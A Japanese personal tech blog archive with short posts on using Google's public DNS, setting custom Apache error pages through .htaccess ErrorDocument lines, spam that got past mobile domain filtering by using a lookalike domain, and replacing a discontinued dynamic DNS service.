その後、日本にもDNSサーバーが追加されたようで応答率も改善されたようで今回の「GoogleのDNSサーバーを設定すれば早くなる」という話題になったのでしょう。

放置されているDNSサーバーによる名前書き換えや、BINDの脆弱性を考えたらGoogleがDNSサーバー網を牛耳ってもいいような気がします。
もちろんGoogleのDNSサーバーが確実に安全なわけではありませんが、先日あった偽造SSLの問題の対応にもブラウザベースではなくDNS側でブロックしてくれるなんてこともできれば素敵です。
よく分からなく騙されるよりも、誰か(Google)のせいにできれば気が済む人も多いでしょうし

早速、自宅のiPadのDNSも書き換えよっと

【参考】
DNSの仕組み

追記
普通のスマホってDNS設定できないの?記事探してもでてこない

.htaccessを使ったエラーページの編集

独自サイト運用していてサーバーのHDD障害に見舞われた際にリカバリー作業が必要になってきますが、他の作業をした際にバックアップ設定を停止していたが為にその間のページ消えてしまったり、MTからWordPressに変更する場合に形式が替わってしまったりすると、それまでにGoogleからクロールされていた情報は残っているので、検索エンジンからやってきた人が「404 Not Found」を見てしまって、そこでアクセスが途切れてしまいます。

そこで、独自の「404 Not Found」ページを作成することによってサイトのトップへ誘導したり、直接トップページへ誘導したりすることによって訪問者のアクセスをとりあえずはつなぎ止めることができます。

その前に、WEBサイトを閲覧する場合のブラウザに返される信号(HTTPステータスコード)がサーバーより返ってきます。
「404 Not Found」というのは、そのHTTPステータスコードの1つなのです。
HTTP/1.1の使用であるRFC2616にてコードが決められており、種類は全部で37種類
エラーに関するコードは22種類になります。

以下
//通常処理関係
“100″; Continue
“101″; Switching Protocols
“200″; OK(正常にページが表示される)
“201″; Created
“202″; Accepted
“203″; Non-Authoritative Information
“204″; No Content
“205″; Reset Content
“206″; Partial Content
“300″; Multiple Choices
“301″; Moved Permanently(永続的なページ移動時)
“302″; Moved Temporarily(一時的なページ移動時)
“303″; See Other
“304″; Not Modified(ブラウザのキャッシュ使う)
“305″; Use Proxy

//エラー処理関係
“400″; Bad Request
“401″; Unauthorized(認証が必要な場合)
“402″; Payment Required
“403″; Forbidden(アクセス権限がない場合)
“404″; Not Found(ページがなーい)
“405″; Method Not Allowed
“406″; Not Acceptable
“407″; Proxy Authentication Required
“408″; Request Time-out
“409″; Conflict
“410″; Gone
“411″; Length Required
“412″; Precondition Failed
“413″; Request Entity Too Large
“414″; Request-URI Too Large
“415″; Unsupported Media Type
“500″; Internal Server Error(CGIの記述がおかしいぞ!)
“501″; Not Implemented
“502″; Bad Gateway
“503″; Service Unavailable(サービスが止まっちゃった)
“504″; Gateway Time-out
“505″; HTTP Version not supported

普通に目にするのは、401・403・404ぐらいだったりします。
500はCGIを色々と動かしていると出てきます。「えいっ!」と最後の動作確認をしようとした際に出てきて泣きそうになることがあります。
また、503のエラーも目にする機会がたまにあるかと思います。
Yahooのトップニュースなんかに取り上げられるとアクセスが集中してしまってサーバーの処理能力を超えた時に発生します。WEBサーバーが「もう無理だって言ってんだろう!!」と怒っていますので、たまに繋がるからといってリロードしまくったりしないでください。専用サーバーや自宅サーバーならまだいいですけど、共有サーバーを使用していた場合は管理会社から追い出されてしまいます。
誰かがキャプチャーや魚拓を上げてくれるのを待ってもいいと思います。

エラーコードだけでも実はたくさんあるのですが、メインとなるのは5つぐらいだったりします。
IISではエラーページの設定項目があるので、見たまんまでいけるのですが、Apacheを使ってWEBサービスを運用すると【.htaacess】で設定しなければいけません。

Apacheのhttpd.confファイルを編集します。
 の記述の部分に
AllowOverride All を追加します

.htaacessファイルに以下を記述します

ErrorDocument 401 /error/401.html
ErrorDocument 403 /error/403.html
ErrorDocument 404 /error/404.html
ErrorDocument 500 /error/500.html

それぞれのエラーに合わせたページを記述してもいいですし、

ErrorDocument 401 /error/error.html
ErrorDocument 403 /error/error.html
ErrorDocument 404 /error/error.html
ErrorDocument 500 /error/error.html

エラー専用ページを作って説明するのもありです。
また、

ErrorDocument 401 /
ErrorDocument 403 /
ErrorDocument 404 /
ErrorDocument 500 /

という風にトップページへ強制的に飛ばしてしまうのも1つの手です。

※503を記述しないのは、『どうせWEBサーバーがパンクしているから意味がない』というわけです

htaacessファイルを使用することによって他にもアクセス制限や使用拡張子の指定、アクセス先の変更など利用する方にとってはメリットが大きく便利です。
しかし、使い方・を誤ったり、管理が杜撰で改竄されたりすると『ユーザーに思わぬ危害を加えてしまう』事もあります。
見た目は警察署、立っている人も警察官、なのにドアを開けたら怖い団体の事務所の中だったなんて嫌でしょ。
使う以上はFTPサーバーの管理はもちろんの事、htaacessファイルの改竄がないかチェックするようにしてください。
(更新日時は改竄できるのであてになりません。ハッシュ値での比較をお薦めします)

モバゲーに登録したら迷惑メールが増えた訳が分かった

暇な時間にゲームでもしようかとモバゲーに携帯(ガラケー)から登録をしてみた。
携帯は迷惑メール対策としてドメイン指定受信を設定していたので、モバゲーのドメインを許可しないといけなかった。
画面のテキストボックス内に表示されていたのは『moba.jp』。
そこで、全体コピーを使ってコピーし、docomoの設定画面にて貼り付けをして保存を行い、モバゲーへの登録が完了した。

その時に再度docomoの設定画面にいって、許可した『moba.jp』を外してしまえばよかったのだけど、登録してバイバイってのも大人げないし、どんなメルマガがくるのか見てみたいとも思ったのでその時は設定変更をしなかった。

そしたら、ポツリポツリと迷惑メールがやってくるようになった。
ん?ドメイン許可の設定は変えたつもりはないけから、偽装携帯アドレスからの迷惑メールかなと思って1週間ぐらいは我慢してみたんだけど、寝てるときもくるようになってきたので「ええいっ!」とアドレス表示してみたら

xxxxxmoba.jp

ってドメインで迷惑メールを送信してきていやがった。
おーっ頭イイね。
そんな目の付け所がシャープでしょはもっと素敵なことに使えばいいのにと本気で思うくらいに一本とられちゃった。

モバゲーも『moba.jp』じゃなくて『@moba.jp』に絞ればいいのに、これじゃ無駄に拒否くらってしまうよ

サブドメインでメール運用しようとすると『@』は付けたくないけど、無駄に拒否設定されるのも本末転倒になる。やっぱり携帯の展開って面倒だ

EveryDNS.Netが使えなくなってしまったので臨時対応

自宅はISPの光回線を使用しているが動的IPになっていて固定IPではないのでサーバーへの外部からの接続用ドメインをDDNSとしてEveryDNS.Netを利用しDiceでIPに変化があれば変更させるようにしていたが、DynDNSに買収された影響でサービスが2011年8月末で停止することになった。
ドメインが手軽に取得できるようになり、VPS系のサービスも増えたのでマルチドメイン運用が手軽に低価格で実現可能になったのが影響なのかな?1アカウント当たりのドメイン処理数が増えたためとか

そうなると、他を探さなくてはいけないけど、元々無料で利用できるDDNSサービス自体が減ってきてEveryDNSに落ち着いていたのに、また移転・・・
今はメインのサイト運営はさくらVPSに移行してしまっているので、自宅の自分しかアクセスしないドメインの為に費用が発生するのもなんだかだけど、有料になるにしてもDynDNSは年間2500円程度かかってしまうし、日本のDDNS系ではお名前.COMやVALUE DOMAINでもできるけどドメイン自体の管理を移管する必要が出てくる。

有料になってもいいけど、また海外のサービスを使うのはちょっと面白くないかなと考えて(英語表記だと細かい仕様変更などを理解することを避けてしまってもったいなくなるだろう)、国内で探そうと思っていたら、そういえば自宅のルーターはcoregaのルーター使ってるなと思い出してみた。
iPadを購入した際に無線LANに対応するために買い直したルーター(CG-WLR300GNE)が『DDNSが使える』と箱に記載があったはず。

コレデ・ネット(corede.net)というサービスで、今はcorede.netのサブドメインとして【xxx.corede.net】としての運用となるが、将来的には年間1200円程度で独自ドメイン対応になるらしい(近日公開予定はいつのことだろう)。
ルーターとの抱き合わせだろうから低価格が可能とも思われるが、トレンドマイクロの容量無制限ストレージサービスが頓挫したように見切りが甘くて後々値上げとかになったら嫌だけどとりあえずはこれで対応しておこう
コレデ・ネット http://corega.jp/product/navi/corede-net/

※近日公開予定となっている独自ドメインが使えるDDNSサービスのページのコピーライト表記が
 Copyright(c)1996-2006
 になっているのは書き換えミスだと思える?思えない?